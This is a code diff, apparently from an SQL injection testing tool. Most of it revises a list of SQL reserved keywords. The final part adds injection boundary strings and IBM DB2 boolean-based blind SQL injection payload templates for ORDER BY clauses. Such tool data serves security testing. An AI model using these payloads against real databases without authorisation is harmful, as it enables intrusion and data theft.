||||||
CAST
|
CAST
|
||||||
CATALOG
|
|
||||||
CATALOG_NAME
|
|
||||||
CEIL
|
CEIL
|
||||||
CEILING
|
CEILING
|
||||||
CHAIN
|
|
||||||
CHAR
|
CHAR
|
||||||
CHARACTER
|
CHARACTER
|
||||||
CHARACTERISTICS
|
|
||||||
CHARACTERS
|
|
||||||
CHARACTER_LENGTH
|
CHARACTER_LENGTH
|
||||||
CHARACTER_SET_CATALOG
|
|
||||||
CHARACTER_SET_NAME
|
|
||||||
CHARACTER_SET_SCHEMA
|
|
||||||
CHAR_LENGTH
|
CHAR_LENGTH
|
||||||
CHECK
|
CHECK
|
||||||
CHECKPOINT
|
CLASSIFIER
|
||||||
CLASS
|
|
||||||
CLASS_ORIGIN
|
|
||||||
CLOB
|
CLOB
|
||||||
CLOSE
|
CLOSE
|
||||||
CLUSTER
|
|
||||||
COALESCE
|
COALESCE
|
||||||
COBOL
|
|
||||||
COLLATE
|
COLLATE
|
||||||
COLLATION
|
COLLATION
|
||||||
COLLATION_CATALOG
|
|
||||||
COLLATION_NAME
|
|
||||||
COLLATION_SCHEMA
|
|
||||||
COLLECT
|
COLLECT
|
||||||
COLUMN
|
COLUMN
|
||||||
COLUMNS
|
|
||||||
COLUMN_NAME
|
|
||||||
COMMAND_FUNCTION
|
|
||||||
COMMAND_FUNCTION_CODE
|
|
||||||
COMMENT
|
|
||||||
COMMENTS
|
|
||||||
COMMIT
|
COMMIT
|
||||||
COMMITTED
|
|
||||||
CONCURRENTLY
|
CONCURRENTLY
|
||||||
CONDITION
|
CONDITION
|
||||||
CONDITION_NUMBER
|
|
||||||
CONFIGURATION
|
|
||||||
CONNECT
|
CONNECT
|
||||||
CONNECTION
|
|
||||||
CONNECTION_NAME
|
|
||||||
CONSTRAINT
|
CONSTRAINT
|
||||||
CONSTRAINTS
|
|
||||||
CONSTRAINT_CATALOG
|
|
||||||
CONSTRAINT_NAME
|
|
||||||
CONSTRAINT_SCHEMA
|
|
||||||
CONSTRUCTOR
|
|
||||||
CONTAINS
|
CONTAINS
|
||||||
CONTENT
|
|
||||||
CONTINUE
|
|
||||||
CONTROL
|
|
||||||
CONVERSION
|
|
||||||
CONVERT
|
CONVERT
|
||||||
COPY
|
COPY
|
||||||
CORR
|
CORR
|
||||||
CORRESPONDING
|
CORRESPONDING
|
||||||
COST
|
COS
|
||||||
|
COSH
|
||||||
COUNT
|
COUNT
|
||||||
COVAR_POP
|
COVAR_POP
|
||||||
COVAR_SAMP
|
COVAR_SAMP
|
||||||
CREATE
|
CREATE
|
||||||
CROSS
|
CROSS
|
||||||
CSV
|
|
||||||
CUBE
|
CUBE
|
||||||
CUME_DIST
|
CUME_DIST
|
||||||
CURRENT
|
CURRENT
|
||||||
@@ -602,44 +540,25 @@ CURRENT_TIMESTAMP
|
|||||||
CURRENT_TRANSFORM_GROUP_FOR_TYPE
|
CURRENT_TRANSFORM_GROUP_FOR_TYPE
|
||||||
CURRENT_USER
|
CURRENT_USER
|
||||||
CURSOR
|
CURSOR
|
||||||
CURSOR_NAME
|
|
||||||
CYCLE
|
CYCLE
|
||||||
DATA
|
|
||||||
DATABASE
|
|
||||||
DATALINK
|
DATALINK
|
||||||
DATE
|
DATE
|
||||||
DATETIME_INTERVAL_CODE
|
|
||||||
DATETIME_INTERVAL_PRECISION
|
|
||||||
DAY
|
DAY
|
||||||
DB
|
|
||||||
DEALLOCATE
|
DEALLOCATE
|
||||||
DEC
|
DEC
|
||||||
|
DECFLOAT
|
||||||
DECIMAL
|
DECIMAL
|
||||||
DECLARE
|
DECLARE
|
||||||
DEFAULT
|
DEFAULT
|
||||||
DEFAULTS
|
|
||||||
DEFERRABLE
|
DEFERRABLE
|
||||||
DEFERRED
|
DEFINE
|
||||||
DEFINED
|
|
||||||
DEFINER
|
|
||||||
DEGREE
|
|
||||||
DELETE
|
DELETE
|
||||||
DELIMITER
|
|
||||||
DELIMITERS
|
|
||||||
DENSE_RANK
|
DENSE_RANK
|
||||||
DEPTH
|
|
||||||
DEREF
|
DEREF
|
||||||
DERIVED
|
|
||||||
DESC
|
DESC
|
||||||
DESCRIBE
|
DESCRIBE
|
||||||
DESCRIPTOR
|
|
||||||
DETERMINISTIC
|
DETERMINISTIC
|
||||||
DIAGNOSTICS
|
|
||||||
DICTIONARY
|
|
||||||
DISABLE
|
|
||||||
DISCARD
|
|
||||||
DISCONNECT
|
DISCONNECT
|
||||||
DISPATCH
|
|
||||||
DISTINCT
|
DISTINCT
|
||||||
DLNEWCOPY
|
DLNEWCOPY
|
||||||
DLPREVIOUSCOPY
|
DLPREVIOUSCOPY
|
||||||
@@ -653,313 +572,176 @@ DLURLSCHEME
|
|||||||
DLURLSERVER
|
DLURLSERVER
|
||||||
DLVALUE
|
DLVALUE
|
||||||
DO
|
DO
|
||||||
DOCUMENT
|
|
||||||
DOMAIN
|
|
||||||
DOUBLE
|
DOUBLE
|
||||||
DROP
|
DROP
|
||||||
DYNAMIC
|
DYNAMIC
|
||||||
DYNAMIC_FUNCTION
|
|
||||||
DYNAMIC_FUNCTION_CODE
|
|
||||||
EACH
|
EACH
|
||||||
ELEMENT
|
ELEMENT
|
||||||
ELSE
|
ELSE
|
||||||
EMPTY
|
EMPTY
|
||||||
ENABLE
|
|
||||||
ENCODING
|
|
||||||
ENCRYPTED
|
|
||||||
END
|
END
|
||||||
END-EXEC
|
END-EXEC
|
||||||
END_FRAME
|
END_FRAME
|
||||||
END_PARTITION
|
END_PARTITION
|
||||||
ENFORCED
|
|
||||||
ENUM
|
|
||||||
EQUALS
|
EQUALS
|
||||||
ESCAPE
|
ESCAPE
|
||||||
EVENT
|
|
||||||
EVERY
|
EVERY
|
||||||
EXCEPT
|
EXCEPT
|
||||||
EXCEPTION
|
|
||||||
EXCLUDE
|
|
||||||
EXCLUDING
|
|
||||||
EXCLUSIVE
|
|
||||||
EXEC
|
EXEC
|
||||||
EXECUTE
|
EXECUTE
|
||||||
EXISTS
|
EXISTS
|
||||||
EXP
|
EXP
|
||||||
EXPLAIN
|
|
||||||
EXPRESSION
|
|
||||||
EXTENSION
|
|
||||||
EXTERNAL
|
EXTERNAL
|
||||||
EXTRACT
|
EXTRACT
|
||||||
FALSE
|
FALSE
|
||||||
FAMILY
|
|
||||||
FETCH
|
FETCH
|
||||||
FILE
|
|
||||||
FILTER
|
FILTER
|
||||||
FINAL
|
|
||||||
FIRST
|
|
||||||
FIRST_VALUE
|
FIRST_VALUE
|
||||||
FLAG
|
|
||||||
FLOAT
|
FLOAT
|
||||||
FLOOR
|
FLOOR
|
||||||
FOLLOWING
|
|
||||||
FOR
|
FOR
|
||||||
FORCE
|
|
||||||
FOREIGN
|
FOREIGN
|
||||||
FORTRAN
|
|
||||||
FORWARD
|
|
||||||
FOUND
|
|
||||||
FRAME_ROW
|
FRAME_ROW
|
||||||
FREE
|
FREE
|
||||||
FREEZE
|
FREEZE
|
||||||
FROM
|
FROM
|
||||||
FS
|
|
||||||
FULL
|
FULL
|
||||||
FUNCTION
|
FUNCTION
|
||||||
FUNCTIONS
|
|
||||||
FUSION
|
FUSION
|
||||||
G
|
|
||||||
GENERAL
|
|
||||||
GENERATED
|
|
||||||
GET
|
GET
|
||||||
GLOBAL
|
GLOBAL
|
||||||
GO
|
|
||||||
GOTO
|
|
||||||
GRANT
|
GRANT
|
||||||
GRANTED
|
|
||||||
GREATEST
|
|
||||||
GROUP
|
GROUP
|
||||||
GROUPING
|
GROUPING
|
||||||
GROUPS
|
GROUPS
|
||||||
HANDLER
|
|
||||||
HAVING
|
HAVING
|
||||||
HEADER
|
|
||||||
HEX
|
|
||||||
HIERARCHY
|
|
||||||
HOLD
|
HOLD
|
||||||
HOUR
|
HOUR
|
||||||
ID
|
|
||||||
IDENTITY
|
IDENTITY
|
||||||
IF
|
|
||||||
IGNORE
|
|
||||||
ILIKE
|
ILIKE
|
||||||
IMMEDIATE
|
|
||||||
IMMEDIATELY
|
|
||||||
IMMUTABLE
|
|
||||||
IMPLEMENTATION
|
|
||||||
IMPLICIT
|
|
||||||
IMPORT
|
IMPORT
|
||||||
IN
|
IN
|
||||||
INCLUDING
|
|
||||||
INCREMENT
|
|
||||||
INDENT
|
|
||||||
INDEX
|
|
||||||
INDEXES
|
|
||||||
INDICATOR
|
INDICATOR
|
||||||
INHERIT
|
INITIAL
|
||||||
INHERITS
|
|
||||||
INITIALLY
|
INITIALLY
|
||||||
INLINE
|
|
||||||
INNER
|
INNER
|
||||||
INOUT
|
INOUT
|
||||||
INPUT
|
|
||||||
INSENSITIVE
|
INSENSITIVE
|
||||||
INSERT
|
INSERT
|
||||||
INSTANCE
|
|
||||||
INSTANTIABLE
|
|
||||||
INSTEAD
|
|
||||||
INT
|
INT
|
||||||
INTEGER
|
INTEGER
|
||||||
INTEGRITY
|
|
||||||
INTERSECT
|
INTERSECT
|
||||||
INTERSECTION
|
INTERSECTION
|
||||||
INTERVAL
|
INTERVAL
|
||||||
INTO
|
INTO
|
||||||
INVOKER
|
|
||||||
IS
|
IS
|
||||||
ISNULL
|
ISNULL
|
||||||
ISOLATION
|
|
||||||
JOIN
|
JOIN
|
||||||
K
|
JSON_ARRAY
|
||||||
KEY
|
JSON_ARRAYAGG
|
||||||
KEY_MEMBER
|
JSON_EXISTS
|
||||||
KEY_TYPE
|
JSON_OBJECT
|
||||||
LABEL
|
JSON_OBJECTAGG
|
||||||
|
JSON_QUERY
|
||||||
|
JSON_TABLE
|
||||||
|
JSON_TABLE_PRIMITIVE
|
||||||
|
JSON_VALUE
|
||||||
LAG
|
LAG
|
||||||
LANGUAGE
|
LANGUAGE
|
||||||
LARGE
|
LARGE
|
||||||
LAST
|
|
||||||
LAST_VALUE
|
LAST_VALUE
|
||||||
LATERAL
|
LATERAL
|
||||||
LC_COLLATE
|
|
||||||
LC_CTYPE
|
|
||||||
LEAD
|
LEAD
|
||||||
LEADING
|
LEADING
|
||||||
LEAKPROOF
|
|
||||||
LEAST
|
|
||||||
LEFT
|
LEFT
|
||||||
LENGTH
|
|
||||||
LEVEL
|
|
||||||
LIBRARY
|
|
||||||
LIKE
|
LIKE
|
||||||
LIKE_REGEX
|
LIKE_REGEX
|
||||||
LIMIT
|
LIMIT
|
||||||
LINK
|
LISTAGG
|
||||||
LISTEN
|
|
||||||
LN
|
LN
|
||||||
LOAD
|
|
||||||
LOCAL
|
LOCAL
|
||||||
LOCALTIME
|
LOCALTIME
|
||||||
LOCALTIMESTAMP
|
LOCALTIMESTAMP
|
||||||
LOCATION
|
LOG
|
||||||
LOCATOR
|
LOG10
|
||||||
LOCK
|
|
||||||
LOWER
|
LOWER
|
||||||
M
|
|
||||||
MAP
|
|
||||||
MAPPING
|
|
||||||
MATCH
|
MATCH
|
||||||
MATCHED
|
MATCHES
|
||||||
MATERIALIZED
|
MATCH_NUMBER
|
||||||
|
MATCH_RECOGNIZE
|
||||||
MAX
|
MAX
|
||||||
MAXVALUE
|
MEASURES
|
||||||
MAX_CARDINALITY
|
|
||||||
MEMBER
|
MEMBER
|
||||||
MERGE
|
MERGE
|
||||||
MESSAGE_LENGTH
|
|
||||||
MESSAGE_OCTET_LENGTH
|
|
||||||
MESSAGE_TEXT
|
|
||||||
METHOD
|
METHOD
|
||||||
MIN
|
MIN
|
||||||
MINUTE
|
MINUTE
|
||||||
MINVALUE
|
|
||||||
MOD
|
MOD
|
||||||
MODE
|
|
||||||
MODIFIES
|
MODIFIES
|
||||||
MODULE
|
MODULE
|
||||||
MONTH
|
MONTH
|
||||||
MORE
|
|
||||||
MOVE
|
|
||||||
MULTISET
|
MULTISET
|
||||||
MUMPS
|
|
||||||
NAME
|
|
||||||
NAMES
|
|
||||||
NAMESPACE
|
|
||||||
NATIONAL
|
NATIONAL
|
||||||
NATURAL
|
NATURAL
|
||||||
NCHAR
|
NCHAR
|
||||||
NCLOB
|
NCLOB
|
||||||
NESTING
|
|
||||||
NEW
|
NEW
|
||||||
NEXT
|
|
||||||
NFC
|
|
||||||
NFD
|
|
||||||
NFKC
|
|
||||||
NFKD
|
|
||||||
NIL
|
|
||||||
NO
|
NO
|
||||||
NONE
|
NONE
|
||||||
NORMALIZE
|
NORMALIZE
|
||||||
NORMALIZED
|
|
||||||
NOT
|
NOT
|
||||||
NOTHING
|
|
||||||
NOTIFY
|
|
||||||
NOTNULL
|
NOTNULL
|
||||||
NOWAIT
|
|
||||||
NTH_VALUE
|
NTH_VALUE
|
||||||
NTILE
|
NTILE
|
||||||
NULL
|
NULL
|
||||||
NULLABLE
|
|
||||||
NULLIF
|
NULLIF
|
||||||
NULLS
|
|
||||||
NUMBER
|
|
||||||
NUMERIC
|
NUMERIC
|
||||||
OBJECT
|
|
||||||
OCCURRENCES_REGEX
|
OCCURRENCES_REGEX
|
||||||
OCTETS
|
|
||||||
OCTET_LENGTH
|
OCTET_LENGTH
|
||||||
OF
|
OF
|
||||||
OFF
|
|
||||||
OFFSET
|
OFFSET
|
||||||
OIDS
|
|
||||||
OLD
|
OLD
|
||||||
|
OMIT
|
||||||
ON
|
ON
|
||||||
|
ONE
|
||||||
ONLY
|
ONLY
|
||||||
OPEN
|
OPEN
|
||||||
OPERATOR
|
|
||||||
OPTION
|
|
||||||
OPTIONS
|
|
||||||
OR
|
OR
|
||||||
ORDER
|
ORDER
|
||||||
ORDERING
|
|
||||||
ORDINALITY
|
|
||||||
OTHERS
|
|
||||||
OUT
|
OUT
|
||||||
OUTER
|
OUTER
|
||||||
OUTPUT
|
|
||||||
OVER
|
OVER
|
||||||
OVERLAPS
|
OVERLAPS
|
||||||
OVERLAY
|
OVERLAY
|
||||||
OVERRIDING
|
|
||||||
OWNED
|
|
||||||
OWNER
|
|
||||||
P
|
|
||||||
PAD
|
|
||||||
PARAMETER
|
PARAMETER
|
||||||
PARAMETER_MODE
|
|
||||||
PARAMETER_NAME
|
|
||||||
PARAMETER_ORDINAL_POSITION
|
|
||||||
PARAMETER_SPECIFIC_CATALOG
|
|
||||||
PARAMETER_SPECIFIC_NAME
|
|
||||||
PARAMETER_SPECIFIC_SCHEMA
|
|
||||||
PARSER
|
|
||||||
PARTIAL
|
|
||||||
PARTITION
|
PARTITION
|
||||||
PASCAL
|
PATTERN
|
||||||
PASSING
|
PER
|
||||||
PASSTHROUGH
|
|
||||||
PASSWORD
|
|
||||||
PATH
|
|
||||||
PERCENT
|
PERCENT
|
||||||
PERCENTILE_CONT
|
PERCENTILE_CONT
|
||||||
PERCENTILE_DISC
|
PERCENTILE_DISC
|
||||||
PERCENT_RANK
|
PERCENT_RANK
|
||||||
PERIOD
|
PERIOD
|
||||||
PERMISSION
|
PERMUTE
|
||||||
PLACING
|
PLACING
|
||||||
PLANS
|
|
||||||
PLI
|
|
||||||
PORTION
|
PORTION
|
||||||
POSITION
|
POSITION
|
||||||
POSITION_REGEX
|
POSITION_REGEX
|
||||||
POWER
|
POWER
|
||||||
PRECEDES
|
PRECEDES
|
||||||
PRECEDING
|
|
||||||
PRECISION
|
PRECISION
|
||||||
PREPARE
|
PREPARE
|
||||||
PREPARED
|
|
||||||
PRESERVE
|
|
||||||
PRIMARY
|
PRIMARY
|
||||||
PRIOR
|
|
||||||
PRIVILEGES
|
|
||||||
PROCEDURAL
|
|
||||||
PROCEDURE
|
PROCEDURE
|
||||||
PROGRAM
|
PTF
|
||||||
PUBLIC
|
|
||||||
QUOTE
|
|
||||||
RANGE
|
RANGE
|
||||||
RANK
|
RANK
|
||||||
READ
|
|
||||||
READS
|
READS
|
||||||
REAL
|
REAL
|
||||||
REASSIGN
|
|
||||||
RECHECK
|
|
||||||
RECOVERY
|
|
||||||
RECURSIVE
|
RECURSIVE
|
||||||
REF
|
REF
|
||||||
REFERENCES
|
REFERENCES
|
||||||
REFERENCING
|
REFERENCING
|
||||||
REFRESH
|
|
||||||
REGR_AVGX
|
REGR_AVGX
|
||||||
REGR_AVGY
|
REGR_AVGY
|
||||||
REGR_COUNT
|
REGR_COUNT
|
||||||
@@ -969,185 +751,87 @@ REGR_SLOPE
|
|||||||
REGR_SXX
|
REGR_SXX
|
||||||
REGR_SXY
|
REGR_SXY
|
||||||
REGR_SYY
|
REGR_SYY
|
||||||
REINDEX
|
|
||||||
RELATIVE
|
|
||||||
RELEASE
|
RELEASE
|
||||||
RENAME
|
|
||||||
REPEATABLE
|
|
||||||
REPLACE
|
|
||||||
REPLICA
|
|
||||||
REQUIRING
|
|
||||||
RESET
|
|
||||||
RESPECT
|
|
||||||
RESTART
|
|
||||||
RESTORE
|
|
||||||
RESTRICT
|
|
||||||
RESULT
|
RESULT
|
||||||
RETURN
|
RETURN
|
||||||
RETURNED_CARDINALITY
|
|
||||||
RETURNED_LENGTH
|
|
||||||
RETURNED_OCTET_LENGTH
|
|
||||||
RETURNED_SQLSTATE
|
|
||||||
RETURNING
|
RETURNING
|
||||||
RETURNS
|
RETURNS
|
||||||
REVOKE
|
REVOKE
|
||||||
RIGHT
|
RIGHT
|
||||||
ROLE
|
|
||||||
ROLLBACK
|
ROLLBACK
|
||||||
ROLLUP
|
ROLLUP
|
||||||
ROUTINE
|
|
||||||
ROUTINE_CATALOG
|
|
||||||
ROUTINE_NAME
|
|
||||||
ROUTINE_SCHEMA
|
|
||||||
ROW
|
ROW
|
||||||
ROWS
|
ROWS
|
||||||
ROW_COUNT
|
|
||||||
ROW_NUMBER
|
ROW_NUMBER
|
||||||
RULE
|
RUNNING
|
||||||
SAVEPOINT
|
SAVEPOINT
|
||||||
SCALE
|
|
||||||
SCHEMA
|
|
||||||
SCHEMA_NAME
|
|
||||||
SCOPE
|
SCOPE
|
||||||
SCOPE_CATALOG
|
|
||||||
SCOPE_NAME
|
|
||||||
SCOPE_SCHEMA
|
|
||||||
SCROLL
|
SCROLL
|
||||||
SEARCH
|
SEARCH
|
||||||
SECOND
|
SECOND
|
||||||
SECTION
|
SEEK
|
||||||
SECURITY
|
|
||||||
SELECT
|
SELECT
|
||||||
SELECTIVE
|
|
||||||
SELF
|
|
||||||
SENSITIVE
|
SENSITIVE
|
||||||
SEQUENCE
|
|
||||||
SEQUENCES
|
|
||||||
SERIALIZABLE
|
|
||||||
SERVER
|
|
||||||
SERVER_NAME
|
|
||||||
SESSION
|
|
||||||
SESSION_USER
|
SESSION_USER
|
||||||
SET
|
SET
|
||||||
SETOF
|
|
||||||
SETS
|
|
||||||
SHARE
|
|
||||||
SHOW
|
SHOW
|
||||||
SIMILAR
|
SIMILAR
|
||||||
SIMPLE
|
SIN
|
||||||
SIZE
|
SINH
|
||||||
|
SKIP
|
||||||
SMALLINT
|
SMALLINT
|
||||||
SNAPSHOT
|
|
||||||
SOME
|
SOME
|
||||||
SOURCE
|
|
||||||
SPACE
|
|
||||||
SPECIFIC
|
SPECIFIC
|
||||||
SPECIFICTYPE
|
SPECIFICTYPE
|
||||||
SPECIFIC_NAME
|
|
||||||
SQL
|
SQL
|
||||||
SQLCODE
|
|
||||||
SQLERROR
|
|
||||||
SQLEXCEPTION
|
SQLEXCEPTION
|
||||||
SQLSTATE
|
SQLSTATE
|
||||||
SQLWARNING
|
SQLWARNING
|
||||||
SQRT
|
SQRT
|
||||||
STABLE
|
|
||||||
STANDALONE
|
|
||||||
START
|
START
|
||||||
STATE
|
|
||||||
STATEMENT
|
|
||||||
STATIC
|
STATIC
|
||||||
STATISTICS
|
|
||||||
STDDEV_POP
|
STDDEV_POP
|
||||||
STDDEV_SAMP
|
STDDEV_SAMP
|
||||||
STDIN
|
|
||||||
STDOUT
|
|
||||||
STORAGE
|
|
||||||
STRICT
|
|
||||||
STRIP
|
|
||||||
STRUCTURE
|
|
||||||
STYLE
|
|
||||||
SUBCLASS_ORIGIN
|
|
||||||
SUBMULTISET
|
SUBMULTISET
|
||||||
|
SUBSET
|
||||||
SUBSTRING
|
SUBSTRING
|
||||||
SUBSTRING_REGEX
|
SUBSTRING_REGEX
|
||||||
SUCCEEDS
|
SUCCEEDS
|
||||||
SUM
|
SUM
|
||||||
SYMMETRIC
|
SYMMETRIC
|
||||||
SYSID
|
|
||||||
SYSTEM
|
SYSTEM
|
||||||
SYSTEM_TIME
|
SYSTEM_TIME
|
||||||
SYSTEM_USER
|
SYSTEM_USER
|
||||||
T
|
|
||||||
TABLE
|
TABLE
|
||||||
TABLES
|
|
||||||
TABLESAMPLE
|
TABLESAMPLE
|
||||||
TABLESPACE
|
TAN
|
||||||
TABLE_NAME
|
TANH
|
||||||
TEMP
|
|
||||||
TEMPLATE
|
|
||||||
TEMPORARY
|
|
||||||
TEXT
|
|
||||||
THEN
|
THEN
|
||||||
TIES
|
|
||||||
TIME
|
TIME
|
||||||
TIMESTAMP
|
TIMESTAMP
|
||||||
TIMEZONE_HOUR
|
TIMEZONE_HOUR
|
||||||
TIMEZONE_MINUTE
|
TIMEZONE_MINUTE
|
||||||
TO
|
TO
|
||||||
TOKEN
|
|
||||||
TOP_LEVEL_COUNT
|
|
||||||
TRAILING
|
TRAILING
|
||||||
TRANSACTION
|
|
||||||
TRANSACTIONS_COMMITTED
|
|
||||||
TRANSACTIONS_ROLLED_BACK
|
|
||||||
TRANSACTION_ACTIVE
|
|
||||||
TRANSFORM
|
|
||||||
TRANSFORMS
|
|
||||||
TRANSLATE
|
TRANSLATE
|
||||||
TRANSLATE_REGEX
|
TRANSLATE_REGEX
|
||||||
TRANSLATION
|
TRANSLATION
|
||||||
TREAT
|
TREAT
|
||||||
TRIGGER
|
TRIGGER
|
||||||
TRIGGER_CATALOG
|
|
||||||
TRIGGER_NAME
|
|
||||||
TRIGGER_SCHEMA
|
|
||||||
TRIM
|
TRIM
|
||||||
TRIM_ARRAY
|
TRIM_ARRAY
|
||||||
TRUE
|
TRUE
|
||||||
TRUNCATE
|
TRUNCATE
|
||||||
TRUSTED
|
|
||||||
TYPE
|
|
||||||
TYPES
|
|
||||||
UESCAPE
|
UESCAPE
|
||||||
UNBOUNDED
|
|
||||||
UNCOMMITTED
|
|
||||||
UNDER
|
|
||||||
UNENCRYPTED
|
|
||||||
UNION
|
UNION
|
||||||
UNIQUE
|
UNIQUE
|
||||||
UNKNOWN
|
UNKNOWN
|
||||||
UNLINK
|
UNMATCHED
|
||||||
UNLISTEN
|
|
||||||
UNLOGGED
|
|
||||||
UNNAMED
|
|
||||||
UNNEST
|
UNNEST
|
||||||
UNTIL
|
|
||||||
UNTYPED
|
|
||||||
UPDATE
|
UPDATE
|
||||||
UPPER
|
UPPER
|
||||||
URI
|
|
||||||
USAGE
|
|
||||||
USER
|
USER
|
||||||
USER_DEFINED_TYPE_CATALOG
|
|
||||||
USER_DEFINED_TYPE_CODE
|
|
||||||
USER_DEFINED_TYPE_NAME
|
|
||||||
USER_DEFINED_TYPE_SCHEMA
|
|
||||||
USING
|
USING
|
||||||
VACUUM
|
|
||||||
VALID
|
|
||||||
VALIDATE
|
|
||||||
VALIDATOR
|
|
||||||
VALUE
|
VALUE
|
||||||
VALUES
|
VALUES
|
||||||
VALUE_OF
|
VALUE_OF
|
||||||
@@ -1158,22 +842,15 @@ VARYING
|
|||||||
VAR_POP
|
VAR_POP
|
||||||
VAR_SAMP
|
VAR_SAMP
|
||||||
VERBOSE
|
VERBOSE
|
||||||
VERSION
|
|
||||||
VERSIONING
|
VERSIONING
|
||||||
VIEW
|
|
||||||
VOLATILE
|
|
||||||
WHEN
|
WHEN
|
||||||
WHENEVER
|
WHENEVER
|
||||||
WHERE
|
WHERE
|
||||||
WHITESPACE
|
|
||||||
WIDTH_BUCKET
|
WIDTH_BUCKET
|
||||||
WINDOW
|
WINDOW
|
||||||
WITH
|
WITH
|
||||||
WITHIN
|
WITHIN
|
||||||
WITHOUT
|
WITHOUT
|
||||||
WORK
|
|
||||||
WRAPPER
|
|
||||||
WRITE
|
|
||||||
XML
|
XML
|
||||||
XMLAGG
|
XMLAGG
|
||||||
XMLATTRIBUTES
|
XMLATTRIBUTES
|
||||||
@@ -1181,7 +858,6 @@ XMLBINARY
|
|||||||
XMLCAST
|
XMLCAST
|
||||||
XMLCOMMENT
|
XMLCOMMENT
|
||||||
XMLCONCAT
|
XMLCONCAT
|
||||||
XMLDECLARATION
|
|
||||||
XMLDOCUMENT
|
XMLDOCUMENT
|
||||||
XMLELEMENT
|
XMLELEMENT
|
||||||
XMLEXISTS
|
XMLEXISTS
|
||||||
@@ -1191,12 +867,8 @@ XMLNAMESPACES
|
|||||||
XMLPARSE
|
XMLPARSE
|
||||||
XMLPI
|
XMLPI
|
||||||
XMLQUERY
|
XMLQUERY
|
||||||
XMLROOT
|
|
||||||
XMLSCHEMA
|
|
||||||
XMLSERIALIZE
|
XMLSERIALIZE
|
||||||
XMLTABLE
|
XMLTABLE
|
||||||
XMLTEXT
|
XMLTEXT
|
||||||
XMLVALIDATE
|
XMLVALIDATE
|
||||||
YEAR
|
YEAR
|
||||||
YES
|
|
||||||
ZONE
|
|
||||||
|
|||||||
+4652
-202
File diff suppressed because it is too large
Load Diff
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -213,6 +213,15 @@ Formats:
|
|||||||
<suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
|
<suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
|
||||||
</boundary>
|
</boundary>
|
||||||
|
|
||||||
|
<boundary>
|
||||||
|
<level>2</level>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>1,2</where>
|
||||||
|
<ptype>3</ptype>
|
||||||
|
<prefix>%'</prefix>
|
||||||
|
<suffix> AND '[RANDSTR]%'='[RANDSTR]</suffix>
|
||||||
|
</boundary>
|
||||||
|
|
||||||
<boundary>
|
<boundary>
|
||||||
<level>2</level>
|
<level>2</level>
|
||||||
<clause>1</clause>
|
<clause>1</clause>
|
||||||
|
|||||||
@@ -824,7 +824,6 @@ Tag: <test>
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -845,7 +844,6 @@ Tag: <test>
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1193,7 +1191,6 @@ Tag: <test>
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1214,7 +1211,6 @@ Tag: <test>
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1332,6 +1328,44 @@ Tag: <test>
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>IBM DB2 boolean-based blind - ORDER BY clause</title>
|
||||||
|
<stype>1</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>3</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>IBM DB2</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>IBM DB2 boolean-based blind - ORDER BY clause (original value)</title>
|
||||||
|
<stype>1</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>3</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
|
||||||
|
<request>
|
||||||
|
